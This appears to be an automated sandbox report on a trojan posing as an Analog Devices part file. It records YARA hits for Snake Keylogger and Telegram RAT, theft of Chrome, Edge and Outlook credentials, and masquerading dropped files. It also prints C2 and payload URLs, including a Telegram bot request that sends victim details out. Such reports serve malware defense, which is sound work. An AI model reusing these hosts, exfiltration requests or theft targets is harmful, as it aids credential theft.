Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe VolumeInformation
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Code function: 0_2_0041E9D0 __vbaChkstk,__vbaOnError,#525,__vbaStrMove,__vbaLenBstr,__vbaStrToAnsi,GetUserNameA,__vbaStrToUnicode,__vbaFreeStr,#537,__vbaStrMove,__vbaInStr,#616,__vbaStrMove,__vbaFreeStr,__vbaFreeStr,__vbaErrorOverflow,

0_2_0041E9D0

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2943424726.00000000034AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 Account Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	11 Windows Service	11 Windows Service	1 Deobfuscate/Decode Files or Information	211 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	1 Scheduled Task/Job	211 Process Injection	3 Obfuscated Files or Information	Security Account Manager	23 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	22 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	111 Security Software Discovery	SSH	211 Input Capture	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	231 Masquerading	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	92%	ReversingLabs	Win32.Trojan.Golsys
ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	92%	Virustotal		Browse
ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	100%	Avira	TR/Patched.Ren.Gen
ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\icsys.icn.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\System\svchost.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Users\user\AppData\Local\stsys.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\System\spoolsv.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Users\user\AppData\Roaming\mrsys.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\System\explorer.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Users\user\AppData\Local\icsys.icn.exe	100%	Joe Sandbox ML
C:\Windows\System\svchost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\stsys.exe	100%	Joe Sandbox ML
C:\Windows\System\spoolsv.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\mrsys.exe	100%	Joe Sandbox ML
C:\Windows\System\explorer.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	46%	ReversingLabs	ByteCode-MSIL.Trojan.SnakeStealer

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
reallyfreegeoip.org	0%	Virustotal	Browse
api.telegram.org	2%	Virustotal	Browse
zxq.net	1%	Virustotal	Browse
googlecode.l.googleusercontent.com	0%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
vccmd03.googlecode.com	0%	Virustotal	Browse
vccmd02.googlecode.com	0%	Virustotal	Browse
206.23.85.13.in-addr.arpa	1%	Virustotal	Browse
vccmd01.zxq.net	1%	Virustotal	Browse
vccmd01.t35.com	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse
vccmd01.googlecode.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://schema.org	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
https://yoast.com/wordpress/plugins/seo/	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
https://zxq.net/privacy-policy/	1%	Virustotal		Browse
https://www.office.com/lB	0%	Virustotal		Browse
https://zxq.net/wp-content/uploads/2022/02/ZXQ-FB.png	0%	Virustotal		Browse
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea.png	1%	Virustotal		Browse
https://api.telegram.org/bot	4%	Virustotal		Browse
http://vccmd03.googlecode.com/files/cmsys.gif	1%	Virustotal		Browse
https://zxq.net/cmsys.gifn	1%	Virustotal		Browse
https://zxq.net/cmsys.gife	1%	Virustotal		Browse
https://g.live.com/odclientsettings/Prod.C:	0%	Virustotal		Browse
https://zxq.net/wp-content/uploads/2022/02/ZXQ.png	1%	Virustotal		Browse
https://chrome.google.com/webstore?hl=en	0%	Virustotal		Browse
https://zxq.net/wp-content/uploads/2024/09/Essential-Renovation-Tips-for-Singapore-Homes-Sidestep-Th	1%	Virustotal		Browse
https://zxq.net/about-us/	1%	Virustotal		Browse
https://zxq.net/#logo	1%	Virustotal		Browse
https://zxq.net/cmsys.gif	1%	Virustotal		Browse
https://zxq.net/what-happened-to-the-old-zxq-website/#breadcrumb	1%	Virustotal		Browse
https://zxq.net/what-happened-to-the-old-zxq-website/	1%	Virustotal		Browse
https://zxq.net/wp-content/uploads/2024/09/Top-Modern-Security-Devices-to-Install-in-Your-Home-150x8	1%	Virustotal		Browse
https://zxq.net/cmsys.gifB	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
reallyfreegeoip.org	188.114.96.3	true	true	0%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown
zxq.net	51.81.194.202	true	true	1%, Virustotal, Browse	unknown
googlecode.l.googleusercontent.com	64.233.184.82	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.com	132.226.247.73	true	false	0%, Virustotal, Browse	unknown
vccmd01.zxq.net	51.81.194.202	true	true	1%, Virustotal, Browse	unknown
vccmd03.googlecode.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
vccmd01.t35.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
vccmd01.googlecode.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown
vccmd02.googlecode.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
206.23.85.13.in-addr.arpa	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://vccmd03.googlecode.com/files/cmsys.gif	false	1%, Virustotal, Browse	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://zxq.net/cmsys.gif	true	1%, Virustotal, Browse	unknown
https://zxq.net/what-happened-to-the-old-zxq-website/	true	1%, Virustotal, Browse	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20and%20Time:%2010/10/2024%20/%2016:46:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20358075%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://zxq.net/wp-content/uploads/2022/02/ZXQ-FB.png	cmsys.cmn.4.dr	false	0%, Virustotal, Browse	unknown
https://zxq.net/privacy-policy/	cmsys.cmn.4.dr	false	1%, Virustotal, Browse	unknown
